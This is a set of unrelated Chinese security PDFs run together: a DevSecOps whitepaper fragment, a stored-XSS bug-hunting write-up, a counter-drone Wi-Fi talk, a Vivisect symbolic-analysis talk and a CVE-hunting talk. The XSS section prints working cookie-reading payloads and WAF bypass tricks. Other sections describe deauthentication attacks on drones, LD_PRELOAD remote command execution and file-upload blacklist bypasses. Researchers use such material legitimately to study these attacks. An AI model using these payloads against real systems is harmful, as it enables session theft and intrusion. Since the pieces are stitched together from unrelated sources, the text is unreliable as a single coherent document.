等,安全隐患信息指网络服务和产品中存在的安全 漏洞、不合规配置等,安全事件信息指网络服务和产品已被非法入 侵、非法控制的网络安全事件。通过威胁情报,有效的对这些安全 事件开展重点防御和相关的漏洞治理。 3.3.10 优化阶段 优化阶段需要借助 DevSecOps 工具链,对实施 DevSecOps 流程的 各个阶段进行持续的适配改进和项目调整优化,然后对优化点进行 跟踪管理,确保所有的优化点都被制定了完整的闭环流程,并依据 流程进行整改。DevSecOps 流程优化主要包括消除安全技术债务、优 CU-DevSecOps 实践白皮书 26 化应急响应方案。 (1)消除安全技术债务。 安全技术债务是指系统的各历史版本中存在的由于时间、成本、 技术、资源、环境等约束而无法得到满足的安全需求或无法及时修 复的安全弱点等内容。通过消除安全技术债务,能够提升应用系统 的安全健壮性,从而提升整体组织安全开发能力和安全运营能力。 (2)优化应急响应方案 定期对应急响应预案进行优化,当业务系统遭受到安全威胁时, 立即启动应急响应预案,并采取收集问题信息、抑制威胁影响范围、 溯源安全漏洞源头、封堵攻击行为等措施,以最快的速度恢复业务 系统的可用性,降低安全威胁事件带来的影响。 应急响应方案具体的优化措施,需要针对发现的安全漏洞、缺陷 进行标记,并标识出优化点,以方便在优化阶段进行筛选查看。 3.4 安全运营实践 DevSecOps 是将安全理念通过自动化的方式接入到业务全生命周 期流程中,过程中不仅涉及到安全能力的开发,还需要考虑如何与 业务结合得更紧密,安全运营实践从风险发现能力、安全防御能力、 安全监测能力、平台整合能力四个方面实现业务应用全生命周期安 全。 CU-DevSecOps 实践白皮书 27 3.4.1 风险发现能力建设 安全风险发现能力建设贯穿业务创建到业务交付的全过程,在 DevSecOps 工具链的创建、验证、预发布、发布这四个阶段,通过使 用一系列技术手段,在建设初期发现安全问题,实现安全“左移”, 确保 DevSecOps 团队开发的产品和服务符合安全最佳实践、法律法 规和行业标准要求,并实现安全合规性。如图 3-3 所示。 (1)在创建阶段,通过制定安全编码规范及流程,采用相关的 安全插件,在本阶段尽可能的消除安全风险; (2)在验证阶段,通过一系列安全测试工具,比如:DAST、 IAST、SAST、SCA 等,检测漏洞,提高风险发现能力; (3)在预发布和发布阶段,通过模糊测试和软件签名等方式开 展相应的安全活动。 图 3-3 风险发现能力建设示意图 3.4.1 安全防御能力建设 安全防御能力建设主要集中在工具链的预防阶段和检测阶段,通 CU-DevSecOps 实践白皮书 28 过这两个阶段的相应工具作用,可以达到有效防范不正当的数据访 问和操作行为,降低安全风险,确保在发生网络与信息安全事件后 能够及时止损,保障业务系统安全和稳定运行,最大程度的降低安 全事件带来的影响。如图 3-4 所示。 (1)在预防阶段,通过开展签名验证和完整性检查来保证应用 及其部署环境的安全性,为检测阶段的开展奠定基础; (2)在检测阶段,需要在运行时采用应用程序自保护(RASP)、 网络流量监控、资产安全监控等方式保护业务安全。 图 3-4 安全防御能力建设示意图 3.4.3 安全运营能力建设 安全运营能力建设是指在遵循安全风险规范的基础上,从内部运 营角度出发,覆盖漏洞预警、安全培训、安全流程建设、安全规范 建设等内容,搭建内部运营体系;从外部运营角度出发,通过运营 安全应急响应中心、威胁情报平台建设,搭建外部运营安全体系。 内外联动完善安全运营体系,提高安全运营能力,实现整体安全水 CU-DevSecOps 实践白皮书 29 平的飞跃。如图 3-5 所示。 (1)在计划阶段,可以从安全培训、威胁建模、制定安全开发 衡量指标这几个方面入手,为安全活动的开展奠定基础; (2)在响应阶段,可以开展安全编排、RASP/WAF 阻断等活动; (3)在预测阶段,可以通过漏洞相关分析、威胁情报等手段, 提高安全预测能力; (4)在优化阶段,可以从消除技术安全债务、优化应急响应方 案入手,提升安全活动的整体水平。 图 3-5 安全运营能力建设示意图 3.4.4 平台整合能力建设 DevSecOps 所涉及的各个工具链,应与企业的 DevOps 平台进行整 合。DevOps 本身就包含了复杂的多种多样的工具,如果再加上安全 工具,无疑会增加工作复杂性,使得研发运维和安全人员无从下手, 进而导致 DevSecOps 无法真正落地。因此,完善的 DevSecOps 方案 不是提供单个工具,而是提供统一平台,打通所需的各种安全工具 CU-DevSecOps 实践白皮书 30 或产品,并在其中内置最佳实践。 完善的 DevSecOps 平台,有助于降低入门成本,以高效的方式 解决软件研发流程中的安全问题。 四、DevSecOps 未来发展趋势 4.1 IAST/RASP 迎来高增长 根据 Industry Research 已发布的数据显示,交互式应用程序安 全性测试是 AST 类型产品中增长最快的,且目前主打 DevSecOps 理 念的安全公司也多以 IAST 为基础开展业务。IAST 技术本身具有实 时检测、相对较低的误报率、可以定位到漏洞代码等优势,凭借这 些优势其已经成为当前支撑敏捷安全开发的首选工具。 RASP 作为一种运行时应用自保护技术,将安全防御能力嵌入到业 务应用程序中,使安全与业务应用程序融为一体,增强应用程序免 疫力,实现安全攻击实时检测和阻断。 随着 DevSecOps 内生安全理念落地实践,RASP 和 IAST 将是下一 代应用安全的重心,为应用带来更实时更精准地安全检测及阻断能 力。 4.2 开源治理成为新的热点 根据 Forrester2021 年发布的报告数据显示,开源代码占软件代 码的比例从 2015 年到 2019 年的五年时间内几乎翻了一倍。开源组 CU-DevSecOps 实践白皮书 31 件已经成为各个企业在开发业务软件环节的必然选择,作为软件生 态不可或缺的组成部分,开源软件存在的安全漏洞和风险,正在威 胁着整个软件行业的安全。面对开源组件的广泛应用和云原生的发 展所带来的安全挑战,有效的对开源组件进行安全检测和治理,必 将成为保证软件系统安全的必然选择,进而导致整个行业内软件开 源治理高潮的出现。 4.3 漏洞与攻击建模愈发广泛 2021 年 Gartner 最新发布的安全和风险趋势将漏洞与攻击建模 (BAS)活动列为新兴趋势。BAS 提供了安全控制的持续测试和验证, 组织抵御外部威胁知识的测评,同时也提供了专业化的评估以及突 出加密数据等重要资产所面临的潜在风险。 基于漏洞与攻击建模工具可以立即指出安全管控的功效、配置以 及检测功能等方面所存在的问题,这种对各种攻击技巧进行持续以 及广范围评测的能力可以带来更好的、更及时的安全评估。因此, 未来在 DevSecOps 的实践和发展过程中 BAS 也将会得到更广泛的运 用。 4.4 安全自动化运营成为趋势 云原生时代的到来,微服务、容器和 Kubernetes 的应用推动了 企业数字化转型的发展,提高了 IT 系统成本效率和灵活性,但是这 些技术的发展在带来便利的同时也导致了相应的传统应用程序在安 CU-DevSecOps 实践白皮书 32 全解决方案中出现了无法解决和覆盖的盲点。在 DevSecOps 的实践 中安全性左移作为降低软件风险的最佳和最具成本效益的方法,已 经被人们广泛接受,但是现有的工具和流程方法却因自动化水平低 下而被开发人员所排斥,并且由于安全工具存在大量的误报和漏报, 并没有起到足够的安全效应。 面对当下的机遇和挑战,提高安全软件的能力和自动化水平必将 成为 DevSecOps 实践和发展过程的必然趋势,促进安全软件的自动 化使其和 DevOps 流程紧密融合,增强安全软件的基础能力,紧跟现 代云原生应用的发展,构建新的安全自动化运营方案,才能在新形 势下有效的保证软件业务系统的安全,促进云原生内生安全,保证 云原生时代下业务系统的安全稳定运行。 CU-DevSecOps 实践白皮书 33 参考文献 [1]Rancher.The State of Container and Kubernetes Security [R].2020. [2]DoD.DoD Enterprise DevSecOps Reference Design(v1.0)[R]. 2019. [3]Veracode.2020 年软件安全现状报告(v.11)[R].2020. [4]中国信息通信研究院.研发运营安全白皮书[R].2020. [5]中国信息通信研究院.研发运营一体化(DevOps)能力成熟度模 型标准[R].2018. [6]FreeBuf 咨询.2020 DevSecOps 企业实践白皮书[R].2020. [7]悬镜安全、FreeBuf 咨询.2020 DevSecOps 行业洞察报告[R]. 2020.
pdf
0x01:利⽤编辑器的超链接组件导致存储XSS 鄙⼈太菜了,没啥⾼质量的洞呀,随便⽔⼀篇⽂章吧。 在⽉⿊⻛⾼的夜晚,某骇客喊我起床挖洞,偷瞄了⼀下发现平台正好出活动了,想着⼩⽜试⼑吧 ⾸先信息收集了⼀下,发现⼀个奇怪了域名引起了我的注意,访问后,发现是⼀个投稿平台,可以发布⽂章到后台 进⾏审核。 使⽤账户登录进系统,就能发现⼀处⽂章管理 第⼀时间就想到发布⽂章,再观察系统中发现⼀个不知名的编辑器(知道的⼤⽜可以说⼀下)存在 超链接 功能, 那么就尝试利⽤⼀下吧 在超链接中注⼊伪协议来构造xss 这⾥有个⼩细节就是下⽅的⼩按钮 1. 当处于开启状态时:触发超链接按钮后,⻚⾯会在新窗⼝中执⾏跳转操作 2. 当处于关闭状态时,触发超链接按钮后,⻚⾯会在当前⽹站中执⾏javascript操作 所以这⾥就需要关闭掉 发布⽂章后,可以看到在正⽂中成功触发javascript: 因为这⾥我是直接插⼊的超链接 ,所以⻚⾯中是处于纯⽩⾊状态。 0x02:⽂章正⽂处的存储XSS绕过 来到新建⽂章中就是上payload,鄙⼈很菜,挖XSS都是⻅框就X 在标题处和正⽂中输⼊payload点击提交,开启burpsuite抓包 可以看到运作过程是先进⾏前端HTML实体编码处理 这边只要重新替换掉payload就可以达到绕过的效果了 访问发布的⽂章⻚⾯后,成功触发XSS ⾄此,两个存储XSS提交上去,收⼯睡觉。 0x03:编辑器中的媒体组件导致存储XSS 经过上回的两个存储XSS,我觉得还没完,第⼆天继续看,果然功夫不负有⼼⼈ 在测试编辑器的其他功能后,发现媒体功能插⼊的资源地址可以回显在⻚⾯ 添加⽹络资源: 其过滤了很多了标签,事件,但并不妨碍我们通过burp进⾏FUZZ 选择嵌⼊式媒体,经过反复测试构造如下payload: x"><marquee loop=1 width=0 onfinish=alert(document.cookie)> 提交⽂章后访问url 成功触发 0x04:编辑器中的媒体组件导致存储XSS(Bypass 前⾯的漏洞均已提交,过了⼏天就修复了,本来以为这样就结束了。然⽽事情并不如此 既然修复了,那么真男⼈就该尝试绕过,根据0x03的操作步骤重新打了⼀遍,发现其中的种种过滤问题。 1. 过滤了alert脚本函数 2. 过滤了不少js事件,但Onfinish事件没有过滤 标签也没有进⾏过滤 这个开发估计也是偷懒了,过滤做的拉胯的⼀批,那我们就对症下药,更换 最后也是如愿以偿的执⾏了: 因为业务线那边的修复状态原因,⽬前还不⽅便更新该站的绕过,只能⽌步 x"><marquee loop=1 width=0 onfinish=prompt(document.cookie 3. 因为业务线那边的修复状态原因,⽬前还不⽅便更新该站的绕过,只能⽌步 欲知后事如何,请听下回分解 0x05 分享⼀些xss⼩tips 1.当某参数输出的值在JS中被反引号包囊,通过${ }可以执⾏javascript 2.SVG中的测试XSS 3.不允许使⽤函数执⾏的WAF可尝试如下payload绕过 4.在测试中也可以尝试使⽤编码绕过,多重url编码、HTML实体编码、json ⼀些字符拼接。 或者使⽤回⻋;换⾏ 绕过 某些WAF \r\n可以实现绕过 payload: <script>var a=`Hello${alert(1)}`</script> <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svgonload="window.location='https://www.baidu.com'"xmlns= </svg> <svg/onload="[]['\146\151\154\164\145\162'] ['\143\157\156\163\164\162\165\143\164\157\162']('\141\154 ()"> <svg onload\r\n=$.globalEval("al"+"ert()");> <svg onload\r\n=$.globalEval("al"+"ert()");>
pdf
qingxp9 whoami 杨芸菲 @qingxp9 360 PegasusTeam 无线安全研究员 WLAN安全研究、WIPS等无线安全产品研发 C-SEC 《如今我们面临的无线威胁》 CCF YOCSEF沈阳《公共无线安全的现状与未来》 “绵羊墙”公共WiFi风险演示系统 东北大学无线安全课程客座讲师 Outline ① 无人机安全威胁背景 ② 基于802.11的反无人机方案 ③ 低成本反无人机系统的设计与实现 ④ 承载在802.11上的无人机管控方案 无人机安全威胁 近年来,无人机应用范围越来越广泛(航拍、快递、灾后搜救、数据采集),无人 机数量迅速增加,随之也产生了一系列安全管控问题。 未经许可闯入敏感区域、意外坠落、 影响客机正常起降、碰撞高层建筑等 事件不断发生。 向各国政府提出了新的监管命题。 无人机安全威胁 个人隐私 无人机安全威胁 军事安全 ISIS改装无人机用于投放炸弹 无人机安全威胁 民航安全 成都双流机场无人机事件: 从4月14日至4月27日,双流机场接连发生8 件无人机扰航事件,总计造成114个航班备 降、超过40个航班延误、4架飞机返航、超1 万旅客出行受阻被滞留机场,严重威胁民航 飞行安全。 英国反无人飞行器防御系统(AUDS) 核心技术: 1.Ku波段(12GHz到18GHz)电子扫描防空雷达技术 a. 支持检测距离:10KM b. 支持检测0.01平方米大小设备 c. 结合多普勒检测 2.高精度水平和倾斜方位指示器 a. 动态方位定位器、热感摄像机进行目标识别 b. 视频追踪 3.智能定向射频抑制干扰系统 a. 高增益四频五天线 b. 自定义抑制波形、支持GNSS频率 c. 软件定义智能射频抑制 可实现15秒内探测、跟踪和干扰无人机 AUDS system combines electronic-scanning radar target detection, electro- optical (EO) tracking/classification and directional RF inhibition capability. 三家公司各自的系统分别在雷达探测、 影像/视频跟踪和射频干扰/数据通信方 面达到了行业最佳水平。 ◦ 红外线 ◦ 视图 ◦ 音频 ◦ 雷达 ◦ Wi-Fi ◦ RF ◦ … DroneTracker: identification and counter-measures platform to defeat drone http://www.dedrone.com/en/dronetracker/drone-protection-software DroneTracker 捕获方案 检测与干扰 总结 无线电干扰攻击面 不建议使用GPS欺骗技术打击无人机 无线电干扰缺点  会影响其他无线电信号的正常通信 无人机普遍采用跳频、扩频技术,具有一定的抗干扰能力。容易出现 干死一大片,无人机照样飞的窘境  无线电信号干扰设备存在法律风险 《中华人民共和国刑法修正案(九)》第288条 “违反国家规定,擅自设置、使用无线电台(站),或者擅自使用无线电频率, 干扰无线电通讯秩序,情节严重的,处三年以下有期徒刑、拘役或者管制,并 处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚 金。” 基于802.11的反无人机方案 拓扑 消费级无人机设备基本都使用了 Wi-Fi在飞行器和手机间传输遥控、 图传等信号。 Wi-Fi 特征 802.11 Beacon Frame Wi-Fi 特征 802.11 Probe Response Frame 无人机型号 OUI SSID Drone Model 60:60:1f PHANTOM3_xxxxx x PHANTOM3 60:60:1f Mavic-xxxxxx MAVIC e4:12:18 XPLORER_xxxxxx XPLORER KONGYING-xxxxxx KONGYING MiRC-xxxxxx XiaoMi OUI、SSID及型号对应关系 操控者识别 用于图像显示的操控者手机终端 干扰无人机 Deauthentication Attack 类型 热点位置 中断图像? Dji PHANTOM3 遥控器 Yes Dji MAVIC(Wi-Fi) 飞行器 Yes XPLORER 遥控器 Yes 定位与追踪 通过多个WiFi senior进行三角定位,判断目标的大致 方位。 功能总结 • 无人机发现与识别 • 控制/图传干扰 • 飞行器、操控者定位跟踪 • 黑白名单管理 • 电子证据 反无人机系统的设计与实现 系统架构 Requiremnts Hardware: ◦ Linux host ◦ 5G&2.4G Dual Band WiFi module ◦ GPS module Software: ◦ Kismet ◦ Analysis scripts Test UAV: ◦ DJI Phantom 3 Kismet Drone #kismet_drone.conf servername=Kismet-Drone dronelisten=tcp://<LocalIP>:2502 droneallowedhosts=<ServerIP> ncsource=<Interface>:channellist:IEEE80211b Kismet Server #kismet.conf ncsource=drone:host=<DroneIP>,port=2502 #(无人机过滤规则) filter_tracker=BSSID(60:60:1F:00:00:00/FF:FF:FF:00:00:00) ... filter_tracker=BSSID(e4:12:18:00:00:00/FF:FF:FF:00:00:00) logtypes=netxml,pcapdump Monitoring Log Analysis 无人机热点信息: ◦ESSID ◦BSSID ◦频道 ◦厂商 ◦发现时间 Log Analysis 客户端信息: ◦MAC ◦OUI 告警 告警 干扰 DEAUTH ATTACKING DISCONNECTING Demo 优势 • 可进行黑白名单管理 • 适应城市等复杂环境,不影响其它无线电通信 • 可定位追踪到操控者的手机设备 • 已部署有WIPS产品的场所,利用现有Wi-Fi传感器网 络便可快速升级支持 缺点 • 检测及类型识别依赖于指纹库 • 无法覆盖所有类型的无人机设备,部分无人机不使用Wi-Fi 不同型号无人机具有不同的通信频段、不同的私有协议,加上现实世 界比较复杂的无线电环境,只靠无线电的角度去做无人机检测是比较 困难的 承载在802.11上的无人机管控方案 无人机管控方案 鉴于无人机厂家相互独立,行业缺乏统一管控标准的现状,提出一 套承载在802.11上的无人机管控方案。 优点:便于现有大部分无人机通过固件升级的方式予以支持,不需额外添 加硬件模块 ◦ 无人机身份识别机制 无人机不断发送广播信号,报告自身身份及位置 ◦ 无人机围栏 围栏发送信息广播,以示无人机避让 身份识别机制 802.11管理帧信息元素由三部分组成:Type-Length-Value Type值从0~255,不同标号代表管理帧的不同作用, tag= 0 表示SSID; tag= 1表示所支持的速率; 身份识别机制 通过未定义的tag值携带签名信息 数字签名部分可采用椭圆曲线加密(ECC :Elliptic Curve Cipher)算 法,也可采用其他签名算法。ECC算法是一种成熟的公钥密码系统, 密钥的长度要远小于RSA加密技术。 整个Framebody最长为2312,信息拼接起来。若采用ECC 算法384*3bit加密技术,一帧就可以发送完整签名信息帧。 拼接的管理帧 身份识别机制 证书签发 根证书由政府管理部门或国际机构管理,根证书之下可以签 发二级证书、三级证书…… ◦ 例如民航管理部门持有根证书,分别给不同无人机厂商签发二级 证书。无人机厂商为每一台出售的无人机配置证书。 ◦ 民航管理部门也可以给例如电网、遥测遥感、公安武警等单位签 发二级证书。这些单位负责给自己的专用无人机配置证书。 每个证书对应的私钥存储在无人机上,公钥存放在网络服务 器上。无人机监控设备可通过公钥服务器获取对应的公钥, 检验签名合法性。 无人机围栏 Thank you! Thank you!
pdf
0x0000 i'm learning a lesson called patience. can't wait 'til i have it all learned. - “walk on water” fun with symboliks symbolik analysis in pure python 0x0001 – who am i? ● Jesus dude ● husband ● father ● hobby farmer ● biker 0x0002 – who am i? ● oh, and i'm atlas 0f d00m ● re ● vr ● hw ● fw ● radio ● cars/meddevs/SmartMeters/embedded ● Vivisect/envi/symboliks ● [email protected] 0x0100 – symboliks - wtfo? ● part of Vivisect, invisigoth's binary analysis framework ● Symbolic Analysis – based on threads of execution ● Symbolic Emulation – granular control of symbolic analysis ● pure python 0x0200 – intro to Vivisect ● binary analysis framework ● pure python ● vdb debugger ● emulators ● gooey ● symboliks ● extensible ● scalpals ● interactive python ● scripting ● client/server model collaboration ● peer-to-peer model collaboration 0x0201 – intro to Vivisect ● binary analysis framework ● pure python ● vdb programmatic debugger ● emulators ● gooey ● symboliks ● extensible ● scalpals ● interactive python ● scripting ● client/server model collaboration ● peer-to-peer model collaboration 0x0210 – intro to Vivisect (2) ● analyzing and viewing workspace $ vivbin -B stage3 Failed to find file for 0x0804a1a4 (__bss_start) (and filelocal == True!) Failed to find file for 0x0804a1a4 (_edata) (and filelocal == True!) Loaded (0.0296 sec) stage3 ANALYSIS TIME: 0.277778863907 stats: {'functions': 67, 'relocations': 0} Saving workspace: stage3.viv $ vivbin stage3.viv 0x0220 – viv/stage3 do you see the vuln? 0x0230 – viv/stage3 vuln ● look again... 0x0210 – intro to Vivisect (2) ● pure python $ ipython In [1]: import vivisect.cli as vivcli In [2]: vw = vivcli.VivCli() In [3]: vw.loadFromFile('stage3') Failed to find file for 0x0804a1a4 (__bss_start) (and filelocal == True!) Failed to find file for 0x0804a1a4 (_edata) (and filelocal == True!) Out[3]: 'stage3' In [4]: vw.analyze() In [5]: vw.saveWorkspace() 0x0300 – intro to Symboliks ● ENVI disassembler, emulator, symboliks ● drag 'symbolic info' through emulation of each opcode ● at each point, 'symbolic state' in terms of start of trace ● eg: push ebp mov ebp, esp becomes: esp = 0xbfbfeffc [ 0xbfbfeffc : 4 ] = ebp ebp = 0xbfbfeffc 0x0400 – intro to Graph Theory ● “Your graph just shit on my theory!” ● imagine code blocks as nodes in a directed graph – connected by directed edges ● using traditional graph theory, paths (threads) of execution can be generated – using symboliks, provably impossible paths are culled ● please hold for gratuitous visual ugliness 0x0410 – Graph Theory primer ● this is a simple function ● look familiar? ● Pathing starts at some point in the graph, and follows edges in the proper direction ● much to this, but simple for now – looping and the halting problem 0x0420 – Graph Theory ● what you can't see is the childrqst() handler from stage3 ● in most cases, Viv's and IDA's graph view represent a code graph... but not always – calls aren't followed – conditional instructions ● ARM – cmpxchg – cmov* 0x0500 – basics of symboliks ● symbolik state tracking and expressions – edi + 5 – Mem((esp-4)+0x1500, 4) ● simple symbolik effects – ReadMemory( (esp-4)+0x1500, 4 ) – WriteMemory( (esp-4)+0x1500, 4, Var(ebx, 4) ) – SetVariable( eax, Const(4, 4) ) ● symbolik constraints – ConstrainPath( va, nextva, ne( Var('eax'), Const(4, 4), 4)) 0x0510 – basics of symboliks (pretty) ● verbose (repr): ConstrainPath( 0x08049867, Const(0x08049869,4), ne(Call(Const(0x08048d08,4),4, argsyms=[]),Const(0x00000000,4)) ) ConstrainPath( 0x08049888, Const(0x0804988a,4), ne(Call(Const(0x08048d08,4),4, argsyms=[]),Const(0x00000000,4)) ) ● pretty (str) if (0x08048d08() != 0) if (0x08048d08() != 0) 0x0520 – basics of symboliks (pretty) ● verbose (repr): SetVariable(0x080498b3, 'eax', Const(0x00000001,4)) SetVariable(0x080498b8, 'esp', o_sub(Const(0xbfbff000,4),Const(0x00000004,4),4)) SetVariable(0x080498b8, 'ebp', Var("ebp", width=4)) SetVariable(0x080498b8, 'esp', o_add(o_sub(Const(0xbfbff000,4),Const(0x00000004,4),4),Const(0x00000004,4),4)) SetVariable(0x080498b9, 'eip', Mem(o_add(o_sub(Const(0xbfbff000,4),Const(0x00000004,4),4),Const(0x00000004,4),4) , Const(0x00000004,4))) SetVariable(0x080498b9, 'esp', o_add(o_add(o_sub(Const(0xbfbff000,4),Const(0x00000004,4),4),Const(0x00000004,4), 4),Const(0x00000004,4),4)) ● pretty (str) eax = 1 esp = (0xbfbff000 - 4) ebp = ebp esp = ((0xbfbff000 - 4) + 4) eip = mem[((0xbfbff000 - 4) + 4):4] esp = (((0xbfbff000 - 4) + 4) + 4) 0x0530 – symbolik effects (simple/applied) ● simple effects: esp = (esp - 4) [ esp : 4 ] = ebp' ebp = esp' esp = (esp - 1064)' edx = (ebp - 1048)' eax = 1024' ● applied effects (run through SymbolikEmulator) esp = (esp - 4) [ (esp - 4) : 4 ] = ebp ebp = (esp - 4) esp = ((esp - 4) - 1064) edx = ((esp - 4) - 1048) eax = 1024 0x0540 – symboliks explained ● disassemble an opcode op = vw.parseOpcode( va ) ● translate opcode into “Simple Effects”: xlater.translateOpcode(op) ● run simple effects through emu: apleffs = emu.applyEffects( xlater.getEffects() ) ● apleffs now is a list of “Applied Effects” ● emu now has updated state for memory and symbolik variables that have been effected ● emu and apleffs are now both chocked full of data to be analyzed ● basically arch independent (except symbolik variable names) 0x0548 – symboliks explained ● python classes – with children ● think RPN: o_add( Var('ebx', 4), Const(15, 4), 4) ● random 4's are “width” data ● primitives: (subclasses of SymbolikBase) – Const – Var – Mem – Call – Arg – cnot – Operator 0x0550 – symboliks explained ● Operator (added to symbolik state through python magic) – o_add applied using SymbolikBase.__add__() and .__iadd__() – o_sub ... – o_xor – o_and – o_or – o_mul – o_div – o_mod – o_lshift – o_rshift – o_pow – o_sextend 0x0560 – symboliks explained ● Effects – subclasses of SymbolikEffect – SetVariable – ReadMemory – WriteMemory – CallFunction – ConstrainPath ● Constraints – subclasses of Constraint – eq – ne – gt – lt – ge – le – UNK – NOTUNK 0x0600 – deeper into symboliks ● reduce ● solve ● update ● substitution ● reducers 0x0610 – deeper symboliks (reduced) ● applied effects (run through SymbolikEmulator) esp = (esp - 4) [ (esp - 4) : 4 ] = ebp ebp = (esp - 4) esp = ((esp - 4) - 1064) edx = ((esp - 4) - 1048) eax = 1024 ● reduced applied effects ( symstate.reduce() ) esp = (esp - 4) [ (esp - 4) : 4 ] = ebp ebp = (esp - 4) esp = (esp - 1068) edx = (esp - 1052) eax = 1024 0x0620 – reduced deshmooshed. so what! ● applied effects (run through SymbolikEmulator) [ (((((((((((((((((((((((((((((esp - 4) - 1064) - 4) - 1064) - 4) - 4) - 4) - 4) + 16) - 12) - 4) + 16) - 4) - 4) - 4) - 4) + 16) - 4) - 4) - 4) - 4) + 16) - 4) - 4) - 4) - 4) + 16) - 12) - 4) : 4 ] = ((((esp - 4) - 1064) - 4) – 1048) simple, right? ● reduced applied effects ( symstate.reduce() ) [ (esp - 2152) : 4 ] = (esp - 2120) 0x0630 – solve ● symbolik expressions are either discrete or not – symobj.isDiscrete() ● if discrete, symbolik expressions can be solved completely – In [50]: o_add(Const(8,4), Const(15,4), 4).solve() – Out[50]: 23 ● if not discrete, symbolik expressions can be compared... – solve() walks through the expression tree and replaces each “unknown” object with some hash of it's repr() 0x0640 – solve ● eg: Var._solve() 0x0650 – update ● using certain emulator state and variable values – get new updated symbolik state – which can often reduce a lot easier to more actionable stuff 0x0660 – substitution ● many might consider this the “solve” function, where you can provide ranges and sets of inputs to a symbolik state ● vivisect.symboliks.substitution – sset() – srange() 0x0660 – substitution ● example: (from switchcase analysis) 0x0670 – reducers 0x0680 – easter egg: archind ● library to make symbolik state more architecture independent – useful for comparing functions – comparing arch-independent symbolik state ● inputs ● outputs ● more at some later date... 0x0700 – why do we care about this? nerd ● RE / VR ~= pattern matching – but ● RE / VR != pattern matching... ● RE == Identifying Behavior ● VR == Behavior Hunting ● so, we're hunting fat juicy behaviors? – EXACTLY 0x0710 – case study: rop gadgets ● ROP gadgets are specialized behaviors ending in a transfer of execution ● ROP gadgets often have unintended side effects ● Symboliks can be used to trace effects in order to identify behaviors – eg. Register Traversal 0x0720 – Register Traversal ROP 0x0730 – more to think about 0x0740 – case study: switch case analysis ● how do we tell the computer to do what we do in our magical portable computer^H^H^H^H^H^H^H^Hbrain – start at JMP REG – backup just enough to figure out the index register and any base register (which points to start of module) – now, backup to the start of function ● trace through to the JMP REG ● look through effects for constraints/o_sub to index register – bounding the valid indexes for this switchcase component ● identify the symbolik state of REG (from JMP REG) ● use substitution to ratchet through valid indexes to see where each index jmps to ● wrack and stack 0x0750 – case study: 0-day ● wide wide wide wide array of options – much opportunity for the enterprising young soul ● two primary appoaches to symbolic bug hunting: – targeted ● more efficient ● more coding for more edge cases – directed bruting ● less efficient ● easier to code the checks ● how might we identify the vuln from stage3? 0x0760 – case study: viv/stage3 vuln ● look again... case study: 0-day ● call to read(arg0, input_buffer, 2047) – limits our input to 2047 – input_buffer is big enuf ● call to sscanf(input_buffer, “bacon:%s\x00”, 0xbfbfebcc) ● 0xbfbfebe4 is 1052 bytes from the top of the stack (RET) ● 1052 – 2047 = -995 case study: 0-day ● to take this approach, the following information is important: – buffer tracking – buffer and input/control limitations – functions which help bound these intelligently ● at the end of the day, we're trying to teach the computer to do what we do intuitively ● other approaches use more brutish efforts ● both are good, combined is better 0x-001 – for your playtime... ● import vivisect.cli as vivcli ● vw = vivcli.VivCli() ● vw.loadFromFile(“some_poor_bin.exe”) ● vw.verbose=1 ; vw.analyze() or... ● vw.loadWorkspace(“some_poor_bin.exe.viv”) ● import vivisect.symboliks.analysis as vs_anal ● sctx = vs_anal.getSymbolikAnalysisContext(vw) ● graph = sctx.getSymbolikGraph(func_va) ● spaths = sctx.getSymbolikPaths(func_va) ● symemu, symeffs = spaths.next() ● symeffs # play around with this. inspect! learn! play! WIN! resources ● https://github.com/vivisect/vivisect ● https://github.com/atlas0fd00m/vivisect atlas' fork, often includes extras not yet merged
pdf
议题: 捡 漏 式 挖掘CVE漏 洞 演 讲人: 朱铜庆 ID: Dawu 部 门/职 位: 404实验室 研究方向: Web/Windows 逻 辑漏 洞相 关 标签 : 联 系 方式 : 漂 流 瓶 吧 历史上的捡 漏 01 02 03 总 结 和归纳 提升和突破 01 历史上的捡 漏 广撒 网, 总 有鱼 ZoomEye寻 找未授权访问 的页面 ZoomEye md5(admin,32) = 21232f297a57a5a743894a0e4a801fc3 也许厂商和你都 没 想到, 这 个补丁是“ 假” 的 CVE-2016-10033 -> CVE-2016-10045 mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_ parameters ]] ) CVE-2016-10033 -> CVE-2016-10045 CVE-2016-10033 -> CVE-2016-10045 Escapeshellarg() CVE-2016-10033 -> CVE-2016-10045 Escapeshellcmd() CVE-2016-10033 -> CVE-2016-10045 项 目在 多年的迭 代的过程 中, 总 会忘记 一些东 西 考 虑到所 有的情 况, 在 其它 平 台/地方是否有同 样的问 题 CVE-2017-17562 可控 的LD_PRELOAD 动 态链 接 库劫持导致远程 命 令执行 CVE-2017-17562 CGI的运 行模式 : 在 这 个CGI程 序 被执行前, Web服务器 要为该 CGI程 序 设置 一些环 境 变量 。这 些环 境 变量 被 服务器 用来 向CGI程 序 传递 一些非 常 重 要的信息, 例如 当 前Web服务器 的状 态、谁 发出的 调 用等等。Web服务器 为CGI程 序 所 设置 的环 境 变量 的使用和正 常 的环 境 变量 的使用没 有 任何区别。当 CGI程 序 运 行结 束 时 , Web服务器 为它 设置 的环 境 变量 也随着消 失。 原 文 链 接 : https://blog.csdn.net/nyist327/article/details/41049699 沿伸: 如 何在 终 端下模拟运 行CGI? CVE-2017-17562 /proc/self/fd/0 -> stdin CVE-2017-17562 可控 的LD_PRELOAD 动 态链 接 库劫持导致远程 命 令执行 CVE-2017-17562 CVE-2017-17562 环 境 变量 添加/覆盖的技巧 可以用于 : Windows /*nix /proc/self/fd/0的技巧 可以用于 *nix CVE-2017-17562 Windows 下可以控 制环 境 变量 : 可以劫持DLL, 但是无法设置 DLL Linux 下LD_ 开头的环 境 变量 已经被禁 止, 并且无法绕 过 MacOs? 厂商在 同 一个地方修了很多次 , 那就 意 味 着 你也可以找到绕 过 这 个厂商修复水 平 不 足, 历史漏 洞也可能 存 在 类似问 题 这 个厂商整体水 平 不 行, 可以在 新的地方找到新的漏 洞 ColdFusion 上传漏 洞 — — Round 1 可以上传 JSP  把JSP后 缀假如 黑 名单 ColdFusion 上传漏 洞 — — Round 2 可以上传 JSP  把JSP后 缀加入黑 名单 可以上传JSPX  把JSPX后 缀加入黑 名单 ColdFusion 上传漏 洞 — — Round 3 可以上传 JSP  把JSP后 缀加入黑 名单 可以上传JSPX  把JSPX后 缀加入黑 名单 Fuzz , 特殊字符绕 过  shell.jsp. ColdFusion 上传漏 洞 — — Round 1 开发人员 缺乏安全意 识, 打哪修哪 这 种漏 洞, 你也可以捡 到 